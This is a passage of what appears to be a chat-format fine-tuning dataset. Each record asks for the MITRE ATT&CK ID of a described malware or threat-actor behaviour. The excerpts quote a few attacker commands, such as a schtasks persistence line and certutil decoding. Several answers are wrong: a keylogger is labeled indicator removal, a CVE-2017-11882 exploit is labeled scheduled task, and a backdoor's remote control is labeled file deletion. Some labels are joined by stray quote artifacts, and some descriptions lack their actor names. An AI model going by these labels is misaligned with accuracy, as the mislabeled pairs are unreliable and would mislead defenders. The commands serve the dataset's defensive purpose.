        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used powershell.exe to download and execute scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak’s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat can list directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used \"ipconfig\" to identify the network configuration of a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The files we recovered indicate they do it by executing a script file, which uses the Sysinternals  psexec tool to move laterally by trying to copy it to every machine they can reach:"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT has the capability to grab passwords from numerous web browsers as well as from Outlook and Thunderbird email clients."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\\Programdata folder. The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack. Overall, SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system. These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection, as well as changes to the C2 communication mechanisms as explained in detail within the appendix. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used  via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth checks for the presence of Avast antivirus in the \"C:\\Program\\Files\\\" folder."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The GetWebpImage() method is in charge of masquerading the output of the C2 commands as a legitimate WebP file (by adding appropriate RIFF/WebP file header magic/fields) and encoding the resulting WebP file"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify peripheral devices on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs can download and launch additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar uploads files from a specified directory to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth uses certutil and BITSAdmin to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command Number – a running index number to keep track of executed commands. If set to any number other than -1, the backdoor should proceed to execute the command, according to the Command ID. Command ID – can be one of the following commands: 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument. 101 – Shell Command: execute the Shell command attached in the {Arg1} argument. 102 – Download File: Downloads a file that can be found on the {Arg2} path on the server, and saves it on the disk with the {Arg1} name. 104 – Shell Command (duplicate): execute the Shell command attached in the {Arg1} argument"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe and /bin/bash to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script self-scheduling, as well as the scheduling of a script that repeatedly attempts to download and execute the Revenge RAT binary, significantly contribute to the persistence of this infection"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windows AppLocker allows administrators to control which executable files are denied or authorized to execute. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. A number of legitimate Windows executables that are not blocked by the default AppLocker policies has been discovered and various proof of concept AppLocker bypass code became publicly available. Example of malicious scriptlet file used to drop a malicious DLL dropper for the next stage Microsoft allows developers to create COM+ objects in script code stored in an XML document, a so-called scriptlet file. To bypass AppLocker and launching script code within a scriptlet, the attacker includes the malicious code within an XML script tag placed within the registration tag of the scriptlet file and calls cmstp with appropriate parameters. For example: Here, the attackers randomize the scriptlet name and use a .txt filename extension, likely in an attempt to bypass fundamental protection mechanisms that attempt to block file types based on the filename extension. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. It takes an XML and an XSL file as a parameter, but it also loads the script engine and runs the script code within the &lt;msxsl:script&gt; tag of the supplied XSL file when invoked through a call placed within the &lt;xsl:value-of&gt; tag. Invoking the JScript code of the payload dropper within an XSL file The supplied XML file seems to be randomly generated and used simply because the second parameter is required and is of no further interest for analysis"
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT has obfuscated DLLs and functions using dummy API calls inserted between real instructions."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This script is meant to delete the Pony Loader after execution (works in a loop, in order to wait for the sample to terminate). The same can be found in Pony 1.9 code"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the Trojan creates a scheduled task to run itself every three minutes by running the following command on the command prompt after replacing the %path% string with the path to the srvResesponded.vbs VBScript:SchTasks /Create /SC MINUTE /MO 3 /TN “InetlSecurityAssistManager” /TR “wscript %path%” /f The Trojan uses HTTP to communicate with its C2 server, specifically using the InternetExplorer application object within an embedded Microsoft .NET Framework assembly called Interop.SHDocVw"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The purpose of the bytecode is to decrypt the embedded payload, load it into memory reflectively and execute it"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use \"New-GPOImmediateTask\" to modify a GPO that will install and execute a malicious Scheduled Task/Job."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke installed a cron job that downloaded and executed files from the C2."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to find information about the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can acquire local and domain user account information."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has dropped their malware into legitimate installed software paths including: `C:\\ProgramFiles\\Realtek\\Audio\\HDA\\AERTSr.exe`, `C:\\Program Files (x86)\\Foxit Software\\Foxit Reader\\FoxitRdr64.exe`, `C:\\Program Files (x86)\\Adobe\\Flash Player\\AddIns\\airappinstaller\\airappinstall.exe`, and `C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd64.exe`."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Any other command that doesn’t fit the above patterns will be forwarded and processed as an argument to ‘cmd.exe /c’ and run via the ‘ShellExecuteW’ API. Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "registers itself as a service on the victim’s machine to run as a standalone process."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT15 then used a tool known as RemoteExec (similar to Microsoft’s Psexec) in order to remotely execute batch scripts and binaries"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can collect the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of domain groups with the command \"net localgroup /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Commands such as \"net group /domain\" can be used in Net to gather information about and manipulate groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 performed a watering hole attack on forbes.com in 2014 to compromise targets."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining an initial foothold on a compromised system, the NICKEL actors routinely performed reconnaissance on the network, working to gain access to additional accounts or higher-value systems. NICKEL typically deployed a keylogger to capture credentials from users on compromised systems"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has performed credential dumping with  and Lazagne."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can steal data from the victim’s clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim’s username and whether that user is an admin."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "loads malicious shellcode and executes it in memory."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors. Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back. Thus, the attackers change the normal execution of the server processes. Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has the ability to use an embedded SOCKS proxy in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CTU analysis of one of GOLD KINGSWOOD's campaign using SpicyOmelette (DOC2018.js) exposed additional sophisticated methods to compromise targets. A valid digital certificate was used to sign the malicious script. Windows Scripting Host supports the inclusion of digital signatures, and Figure 2 shows how the signature was appended to the script"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used Twitter to monitor potential victims and to prepare targeted phishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "hcdLoader installs itself as a service for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. Generally, malware loads a DLL, iterates over the set of exports of the DLL and hashes the string, looking for a matching hash. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum was seen using a keylogger tool to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT is capable of manipulating and deleting registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Of the tools listed above, many were obfuscated with VMProtect (v1.60-2.05), a recurring theme with BackdoorDiplomacy tools"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has inserted garbage characters into code, presumably to avoid anti-virus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has identified two different infection vectors associated with this particular campaign. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. In the first scenario, Talos discovered a document named \"MinutesofMeeting-2May19.docx\", that appeared to display the national flag of Jordan. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon attempts to overwrite operating system files and disk structures with image files. In a later variant, randomly generated data was used for data overwrites."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy has a command to create a scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "And, of course, the attackers added the ability to control the infected machine. The code receives a binary blob official M.E.Doc server, decrypts it using the Triple DES algorithm, and, afterwards, decompresses it using GZip. The result is an XML file that could contain several commands at once. This remote control feature makes the backdoor a fully-featured cyberespionage and cybersabotage platform at the same time"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors used Word documents that prompted the victim to enable macros and run a Visual Basic script."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor has used this method on its 2019 campaign as well. This UAC bypass starts by executing wusa.exe using ShellExecuteExw and gets its access token using NtOpenProcessToken. Then the access token of wusa.exe is duplicated using NtDuplicatetoken. The DesiredAccess parameter of this function specifies the requested access right for the new token. In this case the actor passed TOKEN_ALL_ACCESS as DesiredAccess value which indicates that the new token has the combination of all access rights of this current token. The duplicated token is then passed to ImpersonateLoggedOnUser and then a cmd instance is spawned using CreateProcessWithLogomW. At the end the duplicated token is assigned to the created thread using NtSetINformationThread to make it elevated"
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to these malware families, GALLIUM has been observed employing SoftEther VPN software to facilitate access and maintain persistence to a target network. By installing SoftEther on internal systems, GALLIUM is able to connect through that system as though they are on the internal network of the target. SoftEther provides GALLIUM with another means of persistence and flexibility with the added benefit that its traffic may appear to be benign on the target network"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon establishes persistence by creating a service and naming it based off the operating system version running on the current machine."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden"
            },
            {
